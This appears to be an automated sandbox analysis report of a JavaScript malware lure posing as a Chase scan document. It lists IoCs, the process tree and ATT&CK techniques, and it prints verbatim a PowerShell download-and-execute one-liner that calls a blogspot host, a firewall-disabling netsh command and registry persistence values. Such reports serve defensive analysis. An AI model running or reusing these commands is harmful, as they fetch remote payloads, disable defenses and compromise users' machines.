77109ba56a5e70fafe88a10800764ec30d35727c1ff8cdb2934534ae8c7e048b

Processes:

powershell.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-1364394410-760759377-2797241167-1000_Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32\ = "C:\\IDontExist.dll"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-1364394410-760759377-2797241167-1000_Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

T1112

Processes:

powershell.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-1364394410-760759377-2797241167-1000\Software\Microsoft\Windows\CurrentVersion\Run\Deissl1 = "schtasks /run /tn Deissl1"	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102
Looks up external IP address via web service 3 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

10 api.ipify.org
11 api.ipify.org
12 ip-api.com

flow	ioc
10	api.ipify.org
11	api.ipify.org
12	ip-api.com

Suspicious use of SetThreadContext 3 IoCs

Processes:

powershell.exe

description	pid	process	target process
PID 2196 set thread context of 4688	2196	powershell.exe	RegSvcs.exe
PID 2196 set thread context of 752	2196	powershell.exe	RegSvcs.exe
PID 2196 set thread context of 756	2196	powershell.exe	Msbuild.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 3 IoCs

Processes:

powershell.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-1364394410-760759377-2797241167-1000_Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-1364394410-760759377-2797241167-1000_Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1364394410-760759377-2797241167-1000_Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32\ = "C:\\IDontExist.dll"	powershell.exe

Suspicious behavior: EnumeratesProcesses 13 IoCs

Processes:

powershell.exeRegSvcs.exedw20.exedw20.exe

pid	process
2196	powershell.exe
2196	powershell.exe
2196	powershell.exe
2196	powershell.exe
2196	powershell.exe
2196	powershell.exe
2196	powershell.exe
4688	RegSvcs.exe
4688	RegSvcs.exe
2388	dw20.exe
2388	dw20.exe
3372	dw20.exe
3372	dw20.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

powershell.exe

description	pid	process
Token: SeDebugPrivilege	2196	powershell.exe
Token: SeIncreaseQuotaPrivilege	2196	powershell.exe
Token: SeSecurityPrivilege	2196	powershell.exe
Token: SeTakeOwnershipPrivilege	2196	powershell.exe
Token: SeLoadDriverPrivilege	2196	powershell.exe
Token: SeSystemProfilePrivilege	2196	powershell.exe
Token: SeSystemtimePrivilege	2196	powershell.exe
Token: SeProfSingleProcessPrivilege	2196	powershell.exe
Token: SeIncBasePriorityPrivilege	2196	powershell.exe
Token: SeCreatePagefilePrivilege	2196	powershell.exe
Token: SeBackupPrivilege	2196	powershell.exe
Token: SeRestorePrivilege	2196	powershell.exe
Token: SeShutdownPrivilege	2196	powershell.exe
Token: SeDebugPrivilege	2196	powershell.exe
Token: SeSystemEnvironmentPrivilege	2196	powershell.exe
Token: SeRemoteShutdownPrivilege	2196	powershell.exe
Token: SeUndockPrivilege	2196	powershell.exe
Token: SeManageVolumePrivilege	2196	powershell.exe
Token: 33	2196	powershell.exe
Token: 34	2196	powershell.exe
Token: 35	2196	powershell.exe
Token: 36	2196	powershell.exe
Token: SeIncreaseQuotaPrivilege	2196	powershell.exe
Token: SeSecurityPrivilege	2196	powershell.exe
Token: SeTakeOwnershipPrivilege	2196	powershell.exe
Token: SeLoadDriverPrivilege	2196	powershell.exe
Token: SeSystemProfilePrivilege	2196	powershell.exe
Token: SeSystemtimePrivilege	2196	powershell.exe
Token: SeProfSingleProcessPrivilege	2196	powershell.exe
Token: SeIncBasePriorityPrivilege	2196	powershell.exe
Token: SeCreatePagefilePrivilege	2196	powershell.exe
Token: SeBackupPrivilege	2196	powershell.exe
Token: SeRestorePrivilege	2196	powershell.exe
Token: SeShutdownPrivilege	2196	powershell.exe
Token: SeDebugPrivilege	2196	powershell.exe
Token: SeSystemEnvironmentPrivilege	2196	powershell.exe
Token: SeRemoteShutdownPrivilege	2196	powershell.exe
Token: SeUndockPrivilege	2196	powershell.exe
Token: SeManageVolumePrivilege	2196	powershell.exe
Token: 33	2196	powershell.exe
Token: 34	2196	powershell.exe
Token: 35	2196	powershell.exe
Token: 36	2196	powershell.exe
Token: SeIncreaseQuotaPrivilege	2196	powershell.exe
Token: SeSecurityPrivilege	2196	powershell.exe
Token: SeTakeOwnershipPrivilege	2196	powershell.exe
Token: SeLoadDriverPrivilege	2196	powershell.exe
Token: SeSystemProfilePrivilege	2196	powershell.exe
Token: SeSystemtimePrivilege	2196	powershell.exe
Token: SeProfSingleProcessPrivilege	2196	powershell.exe
Token: SeIncBasePriorityPrivilege	2196	powershell.exe
Token: SeCreatePagefilePrivilege	2196	powershell.exe
Token: SeBackupPrivilege	2196	powershell.exe
Token: SeRestorePrivilege	2196	powershell.exe
Token: SeShutdownPrivilege	2196	powershell.exe
Token: SeDebugPrivilege	2196	powershell.exe
Token: SeSystemEnvironmentPrivilege	2196	powershell.exe
Token: SeRemoteShutdownPrivilege	2196	powershell.exe
Token: SeUndockPrivilege	2196	powershell.exe
Token: SeManageVolumePrivilege	2196	powershell.exe
Token: 33	2196	powershell.exe
Token: 34	2196	powershell.exe
Token: 35	2196	powershell.exe
Token: 36	2196	powershell.exe

Suspicious use of WriteProcessMemory 38 IoCs

Processes:

wscript.exepowershell.execsc.exeRegSvcs.exeMsbuild.exe

description	pid	process	target process
PID 3768 wrote to memory of 2196	3768	wscript.exe	powershell.exe
PID 3768 wrote to memory of 2196	3768	wscript.exe	powershell.exe
PID 2196 wrote to memory of 2964	2196	powershell.exe	csc.exe
PID 2196 wrote to memory of 2964	2196	powershell.exe	csc.exe
PID 2964 wrote to memory of 1768	2964	csc.exe	cvtres.exe
PID 2964 wrote to memory of 1768	2964	csc.exe	cvtres.exe
PID 2196 wrote to memory of 3332	2196	powershell.exe	netsh.exe
PID 2196 wrote to memory of 3332	2196	powershell.exe	netsh.exe
PID 2196 wrote to memory of 4688	2196	powershell.exe	RegSvcs.exe
PID 2196 wrote to memory of 4688	2196	powershell.exe	RegSvcs.exe
PID 2196 wrote to memory of 4688	2196	powershell.exe	RegSvcs.exe
PID 2196 wrote to memory of 4688	2196	powershell.exe	RegSvcs.exe
PID 2196 wrote to memory of 4688	2196	powershell.exe	RegSvcs.exe
PID 2196 wrote to memory of 4688	2196	powershell.exe	RegSvcs.exe
PID 2196 wrote to memory of 4688	2196	powershell.exe	RegSvcs.exe
PID 2196 wrote to memory of 4688	2196	powershell.exe	RegSvcs.exe
PID 2196 wrote to memory of 752	2196	powershell.exe	RegSvcs.exe
PID 2196 wrote to memory of 752	2196	powershell.exe	RegSvcs.exe
PID 2196 wrote to memory of 752	2196	powershell.exe	RegSvcs.exe
PID 2196 wrote to memory of 752	2196	powershell.exe	RegSvcs.exe
PID 2196 wrote to memory of 752	2196	powershell.exe	RegSvcs.exe
PID 2196 wrote to memory of 752	2196	powershell.exe	RegSvcs.exe
PID 2196 wrote to memory of 752	2196	powershell.exe	RegSvcs.exe
PID 2196 wrote to memory of 752	2196	powershell.exe	RegSvcs.exe
PID 752 wrote to memory of 2388	752	RegSvcs.exe	dw20.exe
PID 752 wrote to memory of 2388	752	RegSvcs.exe	dw20.exe
PID 752 wrote to memory of 2388	752	RegSvcs.exe	dw20.exe
PID 2196 wrote to memory of 756	2196	powershell.exe	Msbuild.exe
PID 2196 wrote to memory of 756	2196	powershell.exe	Msbuild.exe
PID 2196 wrote to memory of 756	2196	powershell.exe	Msbuild.exe
PID 2196 wrote to memory of 756	2196	powershell.exe	Msbuild.exe
PID 2196 wrote to memory of 756	2196	powershell.exe	Msbuild.exe
PID 2196 wrote to memory of 756	2196	powershell.exe	Msbuild.exe
PID 2196 wrote to memory of 756	2196	powershell.exe	Msbuild.exe
PID 2196 wrote to memory of 756	2196	powershell.exe	Msbuild.exe
PID 756 wrote to memory of 3372	756	Msbuild.exe	dw20.exe
PID 756 wrote to memory of 3372	756	Msbuild.exe	dw20.exe
PID 756 wrote to memory of 3372	756	Msbuild.exe	dw20.exe

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\New_ScanDoc#092387CHASEeAdvice.js
1⤵
- Suspicious use of WriteProcessMemory
PID:3768

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ep Bypass -c [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12;$(irm simoubizw.blogspot.com///////////////////////////atom.xml) | . ('i*x').replace('*','e');Start-Sleep -Seconds 6
2⤵
- UAC bypass
- Blocklisted process makes network request
- Registers COM server for autorun
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2196

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\c5suvrj0\c5suvrj0.cmdline"
3⤵
- Suspicious use of WriteProcessMemory
PID:2964

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES7FCF.tmp" "c:\Users\Admin\AppData\Local\Temp\c5suvrj0\CSC46BEA21AFB854ECAA21C937E3F6D1B75.TMP"
4⤵
PID:1768

C:\Windows\system32\netsh.exe
"C:\Windows\system32\netsh.exe" advfirewall set allprofiles state off -ErrorAction SilentlyContinue
3⤵
- Modifies Windows Firewall
PID:3332

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
3⤵
- Suspicious behavior: EnumeratesProcesses
PID:4688

C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe
"C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe"
3⤵
- Suspicious use of WriteProcessMemory
PID:752

C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe
dw20.exe -x -s 708
4⤵
- Suspicious behavior: EnumeratesProcesses
PID:2388

C:\Windows\Microsoft.NET\Framework\v3.5\Msbuild.exe
"C:\Windows\Microsoft.NET\Framework\v3.5\Msbuild.exe"
3⤵
- Suspicious use of WriteProcessMemory
PID:756

C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe
dw20.exe -x -s 692
4⤵
- Suspicious behavior: EnumeratesProcesses
PID:3372

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Create or Modify System Process

T1543

Windows Service

T1543.003

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

Modify Registry

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Web Service